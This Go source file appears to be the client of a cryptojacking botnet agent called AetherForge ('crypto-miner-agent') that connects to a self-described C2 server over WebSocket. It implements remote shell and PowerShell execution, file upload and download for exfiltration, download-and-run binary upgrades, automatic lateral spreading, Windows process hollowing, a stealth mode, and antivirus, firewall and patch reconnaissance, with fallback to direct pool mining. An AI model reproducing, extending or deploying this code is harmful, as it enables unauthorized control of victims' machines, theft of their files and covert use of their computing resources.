Files
AetherForge/agent/client/client.go
AetherForge 01d76b3730 Improve fleet control, Crucible ops, and multi-machine identity.
Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
2026-06-02 19:19:50 -07:00

822 lines
22 KiB
Go

package client
import (
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"net/url"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"sync/atomic"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
type AgentClient struct {
cfg config.RuntimeConfig
conn *websocket.Conn
pool *miner.Pool
reporter *stats.Reporter
startTime time.Time
aiRunner *AIRunner
mesh *MeshNode
mu sync.Mutex
agentID string
sharesSubmitted int
sharesAccepted int
// connected is true while a C2 WebSocket session is active.
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
c := &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
startTime: time.Now(),
agentID: cfg.AgentID,
}
c.mesh = NewMeshNode(c)
return c
}
func (c *AgentClient) Run() error {
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
defer c.pool.Stop()
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
c.aiRunner.shareStats = func() (int, int) {
c.mu.Lock()
defer c.mu.Unlock()
return c.sharesSubmitted, c.sharesAccepted
}
c.aiRunner.Start()
defer c.aiRunner.Stop()
}
// Start libp2p Mesh Discovery
if c.cfg.MeshP2P {
if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err)
}
}
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
fallbackDone := make(chan struct{})
fallbackManagerDone := make(chan struct{})
go func() {
defer close(fallbackManagerDone)
c.stratumFallbackManager(fallbackDone)
}()
defer func() {
close(fallbackDone)
<-fallbackManagerDone
}()
// Build deduped server list: primary first, then backups.
// On each failure we advance to the next URL so the fleet never
// goes dark when the primary host reboots.
serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
for {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare)
if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err)
}
// Advance to next URL so the next reconnect tries a different server
urlIdx++
if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt
backoff = 5 * time.Second
}
time.Sleep(backoff)
backoff += 5 * time.Second
if backoff > maxBackoff {
backoff = maxBackoff
}
}
}
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{}
var urls []string
add := func(u string) {
u = strings.TrimSpace(u)
if u == "" || seen[u] {
return
}
seen[u] = true
urls = append(urls, u)
}
add(cfg.ServerURL)
for _, u := range cfg.BackupServerURLs {
add(u)
}
if len(urls) == 0 {
urls = []string{cfg.ServerURL}
}
return urls
}
func (c *AgentClient) connectLoop(serverURL string) error {
wsURL, err := buildWSURL(serverURL)
if err != nil {
return err
}
log.Printf("[agent] connecting to %s", wsURL)
dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
conn, _, err := dialer.Dial(wsURL, nil)
if err != nil {
return err
}
if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
_ = tc.SetKeepAlive(true)
_ = tc.SetKeepAlivePeriod(30 * time.Second)
}
c.conn = conn
defer conn.Close()
conn.SetPongHandler(func(string) error {
return conn.SetReadDeadline(time.Now().Add(90 * time.Second))
})
if err := c.authenticate(); err != nil {
return err
}
c.connected.Store(true)
defer c.connected.Store(false)
statsStop := make(chan struct{})
go c.statsLoop(statsStop)
defer close(statsStop)
for {
conn.SetReadDeadline(time.Now().Add(90 * time.Second))
_, data, err := conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
c.handleMessage(msg)
}
}
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
for i, bp := range c.cfg.BackupPools {
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
payload, _ := json.Marshal(AuthPayload{
AgentID: c.agentID,
FleetSecret: c.cfg.FleetSecret,
Wallet: c.cfg.Wallet,
BackupPools: backupPools,
Version: config.Version,
Hostname: host,
CPUCores: cores,
MemoryGB: memGB,
Worker: c.cfg.WorkerName,
PoolHost: c.cfg.PoolHost,
PoolPort: c.cfg.PoolPort,
PoolTLS: c.cfg.PoolTLS,
PoolPass: c.cfg.PoolPass,
AIEnabled: c.cfg.AIEnabled,
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
AIModel: c.cfg.AIModel,
HolePunch: c.cfg.HolePunch,
RemoteAggressive: c.cfg.RemoteAggressive,
MeshP2P: c.cfg.MeshP2P,
AutoSpread: c.cfg.AutoSpread,
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
}
_, data, err := c.conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
return err
}
if msg.Type != "auth_response" {
return fmt.Errorf("unexpected message: %s", msg.Type)
}
var resp AuthResponse
if err := json.Unmarshal(msg.Payload, &resp); err != nil {
return err
}
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID)
// Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread {
c.spreadOnce.Do(func() {
deploy.StartAutoSpreader(c.cfg)
// One-shot first-run spread (triggered on the very first install).
if deploy.WantsFirstRunSpread(c.cfg) {
deploy.RunSpreadOnce(c.cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg)
}
})
}
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
}
func jobPayloadHasError(payload json.RawMessage) bool {
_, ok := jobPayloadErrorMessage(payload)
return ok
}
func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
var raw map[string]json.RawMessage
if err := json.Unmarshal(payload, &raw); err != nil {
return "", false
}
errMsg, ok := raw["error"]
if !ok {
return "", false
}
msg := strings.Trim(string(errMsg), `"`)
if msg == "" {
return "", false
}
return msg, true
}
func (c *AgentClient) handleMessage(msg Message) {
switch msg.Type {
case "new_job":
if jobPayloadHasError(msg.Payload) {
if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
log.Printf("[agent] job error from server: %s", msg)
}
// Back off 3 seconds before retrying — pool may still be connecting.
time.AfterFunc(3*time.Second, func() {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
})
return
}
var j job.Job
if err := json.Unmarshal(msg.Payload, &j); err != nil {
log.Printf("[agent] bad job payload: %v", err)
return
}
if j.Blob == "" {
log.Printf("[agent] empty job blob — requesting job again")
time.AfterFunc(3*time.Second, func() {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
})
return
}
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
c.pool.SetJob(&j)
case "share_result":
var result ShareResult
if err := json.Unmarshal(msg.Payload, &result); err != nil {
return
}
if result.Accepted {
c.mu.Lock()
c.sharesAccepted++
c.mu.Unlock()
}
case "command":
var cmd struct {
Action string `json:"action"`
TailLines int `json:"tail_lines"`
Command string `json:"command"`
Path string `json:"path"`
Data string `json:"data"`
}
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
return
}
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
}
}
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
switch action {
case "pause":
c.pool.PauseRemote()
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.sendCommandResult(action, true, "mining resumed")
case "restart":
c.sendCommandResult(action, true, "restarting")
go c.restartSelf()
case "stop", "kill":
c.sendCommandResult(action, true, "stopping")
go c.stopSelf()
case "uninstall":
c.sendCommandResult(action, true, "uninstalling")
go func() {
time.Sleep(500 * time.Millisecond)
if err := deploy.Uninstall(c.cfg); err != nil {
log.Printf("[agent] remote uninstall failed: %v", err)
}
}()
case "get_log":
if tailLines <= 0 {
tailLines = 300
}
content, err := readLogTail(c.cfg, tailLines)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
payload, _ := json.Marshal(map[string]interface{}{
"content": content,
"lines": tailLines,
})
_ = c.write(Message{Type: "log_tail", Payload: payload})
preview := content
if len(preview) > 12000 {
preview = preview[len(preview)-12000:]
}
c.sendCommandResult(action, true, preview)
case "exec":
if command == "" {
c.sendCommandResult(action, false, "no command provided")
return
}
out, err := c.runExecCommand(command)
if err != nil {
c.sendCommandResult(action, false, formatCmdErr(err, out))
return
}
c.sendCommandResult(action, true, string(out))
case "powershell":
if command == "" {
c.sendCommandResult(action, false, "no command provided")
return
}
out, err := c.runShellCommand(command)
if err != nil {
c.sendCommandResult(action, false, formatCmdErr(err, out))
return
}
c.sendCommandResult(action, true, string(out))
case "upload":
if path == "" || data == "" {
c.sendCommandResult(action, false, "path and data (base64) are required")
return
}
decoded, err := base64.StdEncoding.DecodeString(data)
if err != nil {
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
return
}
if err := os.WriteFile(path, decoded, 0644); err != nil {
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
return
}
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
case "download":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return
}
b, err := os.ReadFile(path)
if err != nil {
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
return
}
encoded := base64.StdEncoding.EncodeToString(b)
c.sendCommandResult(action, true, encoded)
case "upgrade":
// data = download URL for the new binary
if data == "" {
c.sendCommandResult(action, false, "no upgrade URL provided")
return
}
go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
default:
if c.handleReconCommand(action, command) {
return
}
c.sendCommandResult(action, false, "unknown action")
}
}
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
payload, _ := json.Marshal(map[string]interface{}{
"action": action,
"success": success,
"message": message,
})
_ = c.write(Message{Type: "command_result", Payload: payload})
}
func (c *AgentClient) stopSelf() {
time.Sleep(300 * time.Millisecond)
c.pool.Stop()
os.Exit(0)
}
func (c *AgentClient) restartSelf() {
time.Sleep(300 * time.Millisecond)
exe, err := os.Executable()
if err != nil {
return
}
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
_ = cmd.Start()
os.Exit(0)
}
// performUpgrade downloads a new binary from downloadURL, replaces the
// installed binary, and restarts. Works around Windows file-locking by
// renaming the running exe to .old before writing the new one.
func (c *AgentClient) performUpgrade(downloadURL string) {
log.Printf("[agent] upgrade: downloading from %s", downloadURL)
resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
if err != nil {
log.Printf("[agent] upgrade: download failed: %v", err)
c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
log.Printf("[agent] upgrade: server returned %s", resp.Status)
c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
return
}
exe, err := os.Executable()
if err != nil {
c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
return
}
exe, _ = filepath.Abs(exe)
// Write new binary to a temp file in the same directory
newPath := exe + ".new"
tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
return
}
if _, err := io.Copy(tmp, resp.Body); err != nil {
tmp.Close()
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
return
}
tmp.Close()
// On Windows: rename the running exe to .old (allowed), then rename .new into place.
// On other OSes: direct rename works while the process is running.
oldPath := exe + ".old"
_ = os.Remove(oldPath)
if err := os.Rename(exe, oldPath); err != nil {
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
return
}
if err := os.Rename(newPath, exe); err != nil {
// Try to roll back
_ = os.Rename(oldPath, exe)
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
return
}
log.Printf("[agent] upgrade: binary replaced, restarting")
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
time.Sleep(500 * time.Millisecond)
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
if startErr := cmd.Start(); startErr != nil {
log.Printf("[agent] upgrade: restart failed: %v", startErr)
}
os.Exit(0)
}
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
if !cfg.FileLogging || cfg.StealthMode {
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
}
if tailLines <= 0 {
tailLines = 200
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
logPath := filepath.Join(installDir, "miner.log")
data, err := os.ReadFile(logPath)
if err != nil {
if os.IsNotExist(err) {
return "", fmt.Errorf("miner.log not found")
}
return "", err
}
lines := strings.Split(string(data), "\n")
if len(lines) > 0 && lines[len(lines)-1] == "" {
lines = lines[:len(lines)-1]
}
if len(lines) > tailLines {
lines = lines[len(lines)-tailLines:]
}
return strings.Join(lines, "\n"), nil
}
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
c.mu.Lock()
c.sharesSubmitted++
conn := c.conn // read under the same lock to avoid data race
c.mu.Unlock()
payload, _ := json.Marshal(SharePayload{
JobID: jobID,
Nonce: nonce,
Hash: hash,
Worker: c.cfg.WorkerName,
})
if conn != nil {
_ = c.write(Message{Type: "submit_share", Payload: payload})
} else if c.cfg.MeshP2P {
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
}
}
// probeSSH returns true if an SSH daemon is listening on port 22 locally.
func probeSSH() bool {
conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second)
if err != nil {
return false
}
conn.Close()
return true
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
var samples []float64
var probeTick int
var lastSSH *bool
var lastPosture *PostureReport
var lastPressure *ResourcePressure
var lastDNS *DNSConfig
var lastListenPortCount *int
var postureReady bool
for {
select {
case <-stop:
return
case <-ticker.C:
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
samples = append(samples, hps)
if len(samples) > 90 {
samples = samples[len(samples)-90:]
}
var avg15s, avg1m, avg15m float64
if len(samples) > 0 {
avg15s = samples[len(samples)-1]
}
if len(samples) >= 6 {
for _, v := range samples[len(samples)-6:] {
avg1m += v
}
avg1m /= 6
} else {
avg1m = avg15s
}
for _, v := range samples {
avg15m += v
}
avg15m /= float64(len(samples))
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
// Probe SSH, posture, and resource pressure every 6 ticks (~60s)
if probeTick%6 == 0 {
ok := probeSSH()
lastSSH = &ok
if p := collectPosture(); p != nil {
lastPosture = p
postureReady = true
if p.SSHListening != nil {
lastSSH = p.SSHListening
}
}
lastPressure = collectResourcePressure()
lastDNS = probeDNS()
if lp := collectListenPorts(); lp != nil {
n := lp.Count
lastListenPortCount = &n
}
}
probeTick++
stats := StatsPayload{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
Hashrate15m: avg15m,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
SSHAvailable: lastSSH,
}
if lastDNS != nil {
stats.DNSServers = lastDNS.Servers
stats.DNSSearchDomains = lastDNS.SearchDomains
}
stats.ListenPortCount = lastListenPortCount
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
stats.CPUThrottle = lastPressure.CPUThrottle
stats.CPUTempC = lastPressure.CPUTempC
stats.DiskFreeGB = lastPressure.DiskFreeGB
stats.DiskTotalGB = lastPressure.DiskTotalGB
stats.DiskFreePct = lastPressure.DiskFreePct
stats.GPUTempC = lastPressure.GPUTempC
stats.GPUUsagePct = lastPressure.GPUUsagePct
}
if postureReady && lastPosture != nil {
score := lastPosture.PostureScore
stats.PostureScore = &score
stats.DefenderEnabled = lastPosture.DefenderEnabled
stats.DefenderRTP = lastPosture.DefenderRTP
stats.AVProducts = lastPosture.AVProducts
stats.FirewallDomain = lastPosture.FirewallDomain
stats.FirewallPrivate = lastPosture.FirewallPrivate
stats.FirewallPublic = lastPosture.FirewallPublic
stats.LastPatchDays = lastPosture.LastPatchDays
stats.LastPatch = lastPosture.LastPatch
stats.PendingUpdates = lastPosture.PendingUpdates
stats.RebootPending = lastPosture.RebootPending
stats.AgentElevated = lastPosture.AgentElevated
stats.Services = lastPosture.Services
}
payload, _ := json.Marshal(stats)
_ = c.write(Message{Type: "stats", Payload: payload})
}
}
}
func (c *AgentClient) write(msg Message) error {
c.mu.Lock()
defer c.mu.Unlock()
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
}
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
// connection after 30 seconds of being disconnected from the C2 server.
// When C2 reconnects the Stratum session is stopped and the share handler is
// restored to the C2 WebSocket path.
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
type fallback struct {
stop chan struct{}
wait chan struct{}
}
var fb *fallback
var disconnectedSince time.Time
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
stopFallback := func() {
if fb != nil {
close(fb.stop)
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
log.Printf("[stratum] fallback stopped — C2 connection restored")
}
}
for {
select {
case <-done:
stopFallback()
return
case <-ticker.C:
if c.connected.Load() {
disconnectedSince = time.Time{}
stopFallback()
} else {
if disconnectedSince.IsZero() {
disconnectedSince = time.Now()
}
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
stop := make(chan struct{})
wait := make(chan struct{})
sc := miner.NewStratumClient(c.pool, c.cfg)
go func() {
defer close(wait)
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
}
}
}
}
}
func buildWSURL(serverURL string) (string, error) {
u, err := url.Parse(strings.TrimSpace(serverURL))
if err != nil {
return "", err
}
switch u.Scheme {
case "https":
u.Scheme = "wss"
case "http", "":
u.Scheme = "ws"
case "wss", "ws":
default:
return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
}
if u.Scheme == "" {
u.Scheme = "ws"
}
u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
u.RawQuery = ""
u.Fragment = ""
return u.String(), nil
}